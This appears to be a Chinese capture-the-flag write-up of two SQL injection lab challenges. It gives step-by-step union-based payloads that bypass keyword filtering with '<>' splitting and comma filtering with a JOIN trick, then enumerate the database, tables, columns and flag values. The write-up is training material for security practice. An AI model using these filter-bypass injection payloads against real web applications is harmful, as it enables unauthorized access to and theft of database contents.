题目来源:https://www.ichunqiu.com/battalion
题目描述:
出题人就告诉你这是个注入,有种别走!
查看网页源码,发现源码中有select语句的信息,这下我们省事了。
根据源码可看出,注入点无闭合符号,我们先构造payload:
id=1 --+
第一步判断字段数,输入:
id=1 order by 1 --+
结果界面回显不正常,猜测是关键字被过滤了,绕过关键字被过滤的方法:用/**/
,<>来分割关键字。对于不同情况有很多不同的绕过方法,其他的绕过方法放在这里都不管用,这里只有用<>分割关键字才有效。
输入?id=1 ord<>er by 1 --+
,页面回显正常
当order by后面的值为1-3 时,页面回显正常,到4时,页面回显不正常,则说明有三个字段。
第二步判断显位,输入
id=1 union sel<>ect 1,2,3 --+
第三步爆库名,输入
?id=1 union sel<>ect 1,database(),3 --+
爆出库名为sqli,其实有时候不用报库名,可以直接用database()来代替库名
第四步爆表名,输入
?id=1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆出了两张表,我们也不知道flag在那个表里,所以只能一个一个试,为了节省时间,我就不一个个试了,(我一开始进去的就是表users,里面有id,uasename和flag_9c861b688330三个字段,然而这三个字段里面都是空的)我们直接注表info。
第五步爆字段,输入
?id=1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name=‘info’ --+
看到这三个字段,很明显flag就在flAg_T5ZNdrm字段里。
第六步爆元素值,输入
?id=1 union sel<>ect 1,group_concat(flAg_T5ZNdrm),3 from info–+
题目描述:后台有获取flag的线索
这道题是真的坑,专门坑我这种小白
题目一打开就是一个白色的界面,查看网页源代码后发现一个login.php
然后进入就是一顿输出,后来才发现这是个假界面。
先用御剑扫一下,看看有没有其他网页
发现有一个index.php,访问index.php并且用burpsuite抓包
在回应头里有一个url地址
乍一看与我们访问index.php后上面的链接差不多,实际上这两个链接就就换了一个字符
index.php上面的链接:b68a89d1c4a097a9d8631
b3ac45e8979.php
回应头里的链接:b68a89d1c4a097a9d863l
b3ac45e8979.php
它就把1换成了l,要是不注意,还真看不出来
访问回应头里的链接,再用burpsuite抓包
这时才看到真正的登录界面
然后开始注入
1、先判断注入点,当输入?id=1'
,?id=1')
,和与单引号有关的符号时界面回显异常,其他的则回显正常,则说明注入点与单引号有关,而注释符中--+
被过滤了
,(如果你要是在url地址栏里进行注入的话就用%23注释,要是你用火狐的hackbar进行注入的话就用#注释)当输入?id=1' #
时,界面回显正常,则单引号就是注入点。
2、判断字段,输入
?id=1' order by 1 #
当输入?id=1' order by 3 #
时,界面回显异常,则只有两个字段
3、判断显位,输入
?id=1' union select 1,2 #
界面异常,应该是被过滤了,而界面显示的应该是过滤后的内容,可以看出逗号后面的内容没了,所以应该是过滤了逗号。
然后百度了一下绕过逗号过滤的的方法,找到了一种新的注入姿势join绕过(当然还有别的方法,比如case when then,substring(str FROM pos)等,但这些比较适合盲注,这题要是盲注的话有点麻烦,所以还是join比较适合)
输入
?id=1' union select * from (select 1)a join (select 2)b #
发现界面回显没什么变化,按理说应该id应该显示1,username应该显示2
后来我才想起来,这是联合查询,如果union前后的语句都执行成功的话就会显示第一个执行结果,以至第二个执行结果无法显示,所以要让第一个语句的执行结果为假,把id后的1给为0就行了。
4、爆库名,输入
?id=0’ union select * from (select database())a join (select 2)b #
5、爆表名,输入
?id=0’ union select * from (select group_concat(table_name) from information_schema.tables where table_schema=‘sqli’)a join (select 2)b #
6、爆字段名,输入
?id=0’ union select * from (select group_concat(column_name) from information_schema.columns where table_name=‘users’)a join (select 2)b #
看到这三个字段,很明显flag应该在flag_9c861b68830字段里
7、爆元素值,输入
?id=0’ union select * from (select group_concat(flag_9c861b688330) from users)a join (select 2)b #
总结: 之前练习SQL注入的时候都没做过有过滤的,直到真正做SQL注入题时才发现,SQL注入基本都是带过滤的,看来还是自己太菜了,以后还得更加努力才行。